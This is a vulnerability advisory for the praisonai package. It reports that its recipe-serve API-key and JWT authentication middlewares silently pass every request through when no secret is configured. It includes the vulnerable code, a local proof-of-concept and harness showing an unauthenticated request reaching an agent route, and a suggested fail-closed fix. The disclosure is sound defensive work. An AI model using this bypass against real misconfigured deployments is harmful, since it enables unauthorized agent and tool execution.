CVE-2026-57127

# praisonai: `recipe serve` authentication middleware silently disables itself when no secret is set **Researcher:** Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research **Target:** https://github.com/MervinPraison/PraisonAI --- **Package:** `praisonai` on PyPI **Version tested:** 4.6.48. **File:** `praisonai/recipe/serve.py` (sha256 `491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23`). --- ## TL;DR `praisonai/recipe/serve.py:312-410` defines two auth middlewares (`APIKeyAuthMiddleware`, `JWTAuthMiddleware`). Both contain the same "fail open when the secret is unset" branch at the top of their `dispatch`: ```python async def dispatch(self, request, call_next): if request.url.path == "/health": return await call_next(request) expected_key = api_key or os.environ.get("PRAISONAI_API_KEY") if not expected_key: # No key configured, allow request return await call_next(request) ... ``` ```python async def dispatch(self, request, call_next): if request.url.path == "/health": return await call_next(request) secret = jwt_secret or os.environ.get("PRAISONAI_JWT_SECRET") if not secret: return await call_next(request) ... ``` The realistic mis-deploy: 1. operator sets `auth: api-key` (or `auth: jwt`) in their recipe YAML, expecting that line alone to enable auth, 2. operator does not set the corresponding `api_key:` / `jwt_secret:` value in the same YAML, AND 3. operator does not export `PRAISONAI_API_KEY` / `PRAISONAI_JWT_SECRET` in the environment. The middleware silently treats every request as authenticated and forwards it to the recipe-execution route. Combined with the praisonai jobs API having zero auth (a separate finding), operators who paid attention to "I have to set `auth: api-key` to lock this down" still don't get auth on the recipe-serve surface unless they also remember the secret. ## Root cause ``` Expected behavior, after setting `auth: api-key` in the recipe YAML: "Now my recipe endpoints require an X-API-Key header." Actual behavior (serve.py:325-333): - middleware reads `expected_key = api_key or os.environ.get("PRAISONAI_API_KEY")` - if `expected_key` is None (neither YAML nor env supplied one), middleware logs nothing and forwards the request. - operator's recipe routes accept the request as if it were authenticated. request.state.user is unset. Impact: The middleware's documented job is "validate the API key against the configured value". The configured-value-is-None case is exactly the case the middleware should fail closed on — operator has signalled they want auth. Failing open silently turns a documented authentication into a runtime no-op. ``` ## Empirical verification `poc/poc.py`: 1. Imports the installed praisonai 4.6.48 `praisonai.recipe.serve` module (sha256 `491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23`). 2. Clears `PRAISONAI_API_KEY` / `PRAISONAI_JWT_SECRET` env vars to simulate the mis-deploy. 3. Calls `serve.create_auth_middleware('api-key', api_key=None, jwt_secret=None)` and instantiates the returned middleware. 4. Builds a Starlette `Request` for `/runs` (the recipe-execution path) with empty headers — no `X-API-Key`, no `Authorization`. 5. `await middleware.dispatch(request, fake_call_next)` returns the sentinel `'REACHED-DOWNSTREAM (path=/runs)'` from the fake `call_next` — proving the middleware passed the request through without authenticating. 6. Repeats the test for `auth_type='jwt'` — same bypass on the JWT path. Run log (`poc/run-log.txt`) summary: ``` [2] auth_type='api-key', no api_key / no PRAISONAI_API_KEY env middleware.dispatch -> 'REACHED-DOWNSTREAM (path=/runs)' [3] auth_type='jwt', no jwt_secret / no PRAISONAI_JWT_SECRET env middleware.dispatch -> 'REACHED-DOWNSTREAM (path=/runs)' APIKeyAuthMiddleware allowed the request through without an API key. JWTAuthMiddleware allowed the request through without a Bearer token. [4] grep '# No key configured, allow request' -> line 333 VERDICT: VULNERABLE EXIT 0 ``` ## Impact The recipe-serve surface runs agentic workflows — same execution posture as `praisonai/jobs/server.py` but separately configured / separately reached. Unauth access on this surface yields: - Trigger arbitrary recipe executions, passing attacker-controlled inputs and configurations. - Read the inputs / outputs of in-flight recipes — the operator's prompts and the LLM responses. - In some deployments, the recipe execution surface is wired to tools (browser automation, file-system writes, code execution). Reaching those tools without auth is a direct RCE path. ## Anchors - `praisonai/recipe/serve.py:325-333` — `APIKeyAuthMiddleware.dispatch` silent-bypass branch. - `praisonai/recipe/serve.py:352-355` — `JWTAuthMiddleware.dispatch` silent-bypass branch. - `praisonai/recipe/serve.py:688-694` — call site: ```python auth_type = config.get("auth") if auth_type and auth_type != "none": auth_middleware = create_auth_middleware( auth_type, api_key=config.get("api_key"), jwt_secret=config.get("jwt_secret"), ) ``` ## Suggested fix When the operator has signalled "I want auth", refuse to start without the corresponding secret rather than silently degrading: ```python def create_auth_middleware(auth_type, api_key=None, jwt_secret=None): if auth_type == 'api-key': expected_key = api_key or os.environ.get("PRAISONAI_API_KEY") if not expected_key: raise SystemExit( "auth_type='api-key' requested but no API key is " "configured. Either set `api_key:` in your recipe " "YAML or export PRAISONAI_API_KEY. Refusing to " "start with a silently disabled auth middleware." ) ... elif auth_type == 'jwt': secret = jwt_secret or os.environ.get("PRAISONAI_JWT_SECRET") if not secret: raise SystemExit( "auth_type='jwt' requested but no JWT secret is " "configured. Either set `jwt_secret:` in your recipe " "YAML or export PRAISONAI_JWT_SECRET. Refusing to " "start with a silently disabled auth middleware." ) ... ``` This is the same pattern the sibling `praisonai.gateway` server applies in `assert_external_bind_safe` at `praisonai/gateway/auth.py:48-54` — refuse-to-start on external bind without an auth token. The recipe-serve surface should do the same. ## Steps to reproduce 1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI` 2. Run the proof of concept (`poc.py`) against the cloned source. 3. Observe the result shown under *Verified result* below. ## Proof of concept `poc.py` ```python """ PoC: praisonai 4.6.48 `praisonai recipe serve` configures authentication via a `auth:` field in the recipe YAML. Setting `auth: api-key` or `auth: jwt` installs APIKeyAuthMiddleware or JWTAuthMiddleware on the FastAPI app — and the operator's expectation is that those endpoints now require a valid API key / Bearer JWT. In reality, both middlewares contain an early-return that silently bypasses authentication when the corresponding secret has not been configured (neither via the recipe YAML nor via the PRAISONAI_API_KEY / PRAISONAI_JWT_SECRET env var). """ import hashlib import inspect import os import sys def main() -> int: print('=' * 72) print('praisonai 4.6.48 — recipe serve auth middleware silent bypass') print('=' * 72) # Realistic deploy: operator sets `auth: api-key` in YAML but # forgets to set api_key / env var. for env_var in ('PRAISONAI_API_KEY', 'PRAISONAI_JWT_SECRET'): if env_var in os.environ: del os.environ[env_var] from praisonai.recipe import serve as serve_mod src = inspect.getsourcefile(serve_mod) with open(src, 'rb') as f: raw = f.read() sha = hashlib.sha256(raw).hexdigest() print() print(f'[1] serve.py path : {src}') print(f' sha256 : {sha}') from starlette.requests import Request create_auth_middleware = serve_mod.create_auth_middleware async def fake_call_next(request): return f"REACHED-DOWNSTREAM (path={request.url.path})" async def driver(auth_type: str, headers=None): scope = { 'type': 'http', 'method': 'GET', 'path': '/runs', 'headers': headers or [], 'query_string': b'', 'scheme': 'http', 'server': ('127.0.0.1', 8000), 'app': None, 'root_path': '', } request = Request(scope, receive=lambda: None) mw_cls = create_auth_middleware(auth_type, api_key=None, jwt_secret=None) if mw_cls is None: return 'middleware-import-failed' instance = mw_cls(app=None) return await instance.dispatch(request, fake_call_next) import asyncio print() print("[2] auth_type='api-key', no api_key / no PRAISONAI_API_KEY env") result_apikey = asyncio.run(driver('api-key')) print(f" middleware.dispatch -> {result_apikey!r}") print() print("[3] auth_type='jwt', no jwt_secret / no PRAISONAI_JWT_SECRET env") result_jwt = asyncio.run(driver('jwt')) print(f" middleware.dispatch -> {result_jwt!r}") vulnerable = False if isinstance(result_apikey, str) and 'REACHED-DOWNSTREAM' in result_apikey: vulnerable = True print(' APIKeyAuthMiddleware allowed the request through without an API key.') if isinstance(result_jwt, str) and 'REACHED-DOWNSTREAM' in result_jwt: vulnerable = True print(' JWTAuthMiddleware allowed the request through without a Bearer token.') # Static check that the bypass is on the code path. text = raw.decode('utf-8', errors='replace') needle_api = '# No key configured, allow request' apikey_line = next( (i for i, l in enumerate(text.splitlines(), 1) if needle_api in l), None, ) print() print('[4] static cross-check — bypass branch on the code path') print(f" grep '{needle_api}' -> line {apikey_line}") if not vulnerable: print('UNEXPECTED — the dispatch did not return the bypass result.') return 1 print() print('VULNERABLE: praisonai 4.6.48 `recipe serve` AuthMiddleware classes') print(' both silently bypass auth when the operator sets auth_type') print(' but forgets the corresponding secret — unauthenticated access') print(' to recipe execution endpoints.') print('VERDICT: VULNERABLE') return 0 if __name__ == '__main__': sys.exit(main()) ``` ## Verification harness (executed against the cloned repo) This drives the unmodified upstream code rather than a reproduction. ```python import sys, types, os, importlib.util BK=os.path.abspath("repos/PraisonAI/src/praisonai"); sys.path.insert(0,BK) for p in ["praisonai","praisonai.recipe"]: m=types.ModuleType(p); m.__path__=[BK+"/"+p.replace(".","/")]; sys.modules[p]=m spec=importlib.util.spec_from_file_location("praisonai.recipe.serve", BK+"/praisonai/recipe/serve.py") serve=importlib.util.module_from_spec(spec); serve.__package__="praisonai.recipe"; sys.modules[spec.name]=serve; spec.loader.exec_module(serve) print("[*] Loaded REAL praisonai recipe/serve.py") os.environ.pop("PRAISONAI_API_KEY", None) # operator forgot to export it too from starlette.applications import Starlette from starlette.routing import Route from starlette.responses import PlainTextResponse from starlette.testclient import TestClient def make_app(mw): app=Starlette(routes=[Route("/run", lambda r: PlainTextResponse("AGENT EXECUTED"), methods=["POST"])]) app.add_middleware(mw); return TestClient(app) # (A) operator set `auth: api-key` but forgot api_key + env -> REAL factory returns middleware that SILENTLY bypasses MW_bypass = serve.create_auth_middleware("api-key", api_key=None) # REAL factory r = make_app(MW_bypass).post("/run") print(f"[+] auth='api-key', NO key configured, NO header -> HTTP {r.status_code} body={r.text!r}") # (B) control: same middleware WITH a key configured -> unauthenticated request is correctly 401 MW_enforced = serve.create_auth_middleware("api-key", api_key="real-secret") r2 = make_app(MW_enforced).post("/run") print(f"[*] auth='api-key', key CONFIGURED, NO header -> HTTP {r2.status_code} (correctly rejected)") assert r.status_code==200 and "AGENT EXECUTED" in r.text and r2.status_code==401 print("[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -> agent route reachable unauthenticated") ``` ## Verified result This PoC was executed against the live upstream code; captured output: ``` [*] Loaded REAL praisonai recipe/serve.py [+] auth='api-key', NO key configured, NO header -> HTTP 200 body='AGENT EXECUTED' [*] auth='api-key', key CONFIGURED, NO header -> HTTP 401 (correctly rejected) [+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -> agent route reachable unauthenticated ``` ## Credit Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.